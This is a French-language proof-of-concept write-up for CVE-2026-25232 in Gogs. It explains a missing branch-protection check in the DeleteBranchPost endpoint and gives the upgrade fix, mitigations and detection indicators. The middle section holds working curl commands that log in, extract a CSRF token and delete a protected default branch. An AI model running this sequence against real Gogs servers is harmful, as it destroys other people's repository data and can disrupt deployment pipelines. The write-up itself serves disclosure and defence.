
Preuve de concept pour la récente CVE-2026-25232 qui est une vulnérabilité d'élévation de privilèges présente dans Gogs.
| Champ | Détails |
|---|---|
| CVE | CVE-2026-25232 |
| Produit | Gogs (Go Git Service) |
| Versions affectées | <= 0.13.4 |
| Version corrigée | 0.14.1 |
| Score CVSS | Moyen |
| CWE | CWE-863 : Autorisation incorrecte |
| Authentification requise | Oui (permissions Write sur un dépôt) |
| Impact | Escalade de privilèges de Write vers des opérations de niveau Admin |
CVE-2026-25232 est une vulnérabilité de contournement du contrôle d'accès dans l'interface web de Gogs. Elle permet à tout collaborateur de dépôt disposant des permissions Write de supprimer des branches protégées — y compris la branche par défaut — en envoyant une requête POST directe au point de terminaison DeleteBranchPost, contournant complètement les mécanismes de protection des branches.
La cause racine est une divergence entre la manière dont la couche Git Hook et l'interface web appliquent la protection des branches :
DeleteBranchPost ne déclenche pas les Git Hooks, donc le contrôle de protection n'est jamais exécutéCela permet à un collaborateur à faibles privilèges d'effectuer des opérations qui devraient être réservées aux administrateurs du dépôt.
http://<TARGET>:3001attacker:Password123! (permissions Write sur le dépôt)admin/important-repomain (branche par défaut)Confirmez que la branche est protégée et ne peut pas être supprimée par les moyens normaux :
# Tentative de suppression normale de branche via l'API - cela devrait échouer
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
-u 'attacker:Password123!'
Réponse attendue : 403 Forbidden ou erreur de protection.
Récupérez le jeton CSRF depuis n'importe quelle page authentifiée :
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/user/login' \
-X POST \
-d 'user_name=attacker&password=Password123!'
# Extraire le jeton CSRF depuis une page de dépôt
curl -s -c cookies.txt -b cookies.txt \
'http://<TARGET>:3001/admin/important-repo' \
| grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3
Envoyez une requête POST directe au point de terminaison de suppression de branche, contournant le contrôle de protection :
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
-b cookies.txt \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d '_csrf=<CSRF_TOKEN>&name=main'
La branche protégée est supprimée malgré le fait que l'attaquant ne dispose que des permissions Write.
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
-u 'attacker:Password123!'
La branche main n'apparaîtra plus dans la réponse.
La fonction DeleteBranchPost dans le gestionnaire web de Gogs valide que l'utilisateur est authentifié et dispose d'un accès Write au dépôt, mais ne vérifie pas si la branche cible est protégée :
HTTP POST /owner/repo/branches/delete
↓
DeleteBranchPost()
↓
Vérification : l'utilisateur est-il authentifié ? ✓
Vérification : l'utilisateur a-t-il un accès Write ? ✓
Vérification : la branche est-elle protégée ? ✗ (MANQUANTE)
↓
Branche supprimée avec succès
La couche Git Hook qui applique la protection des branches n'est déclenchée que lors des opérations push/suppression Git via SSH ou le protocole Git HTTP — pas lors des opérations de l'interface web. Cette lacune architecturale signifie que tout collaborateur de niveau Write peut effectuer cette opération.
Un collaborateur malveillant disposant des permissions Write peut :
Dans les environnements où les dépôts Gogs alimentent des pipelines de déploiement automatisés, cela pourrait conduire à une compromission de la chaîne d'approvisionnement.
Mettez à niveau vers Gogs v0.14.1 ou version ultérieure. Le correctif ajoute des contrôles d'autorisation appropriés dans la fonction DeleteBranchPost pour vérifier le statut de protection des branches avant d'autoriser la suppression, quelle que soit la manière dont la requête est effectuée.
Comme mesure d'atténuation temporaire :
/repos/{owner}/{repo}/branches/deleteRecherchez les indicateurs d'exploitation suivants :
/<owner>/<repo>/branches/delete dans les journaux du serveur webCette PoC est fournie à des fins éducatives et pour des tests de sécurité autorisés uniquement. Ne l'utilisez pas contre des systèmes pour lesquels vous n'avez pas l'autorisation explicite de tester.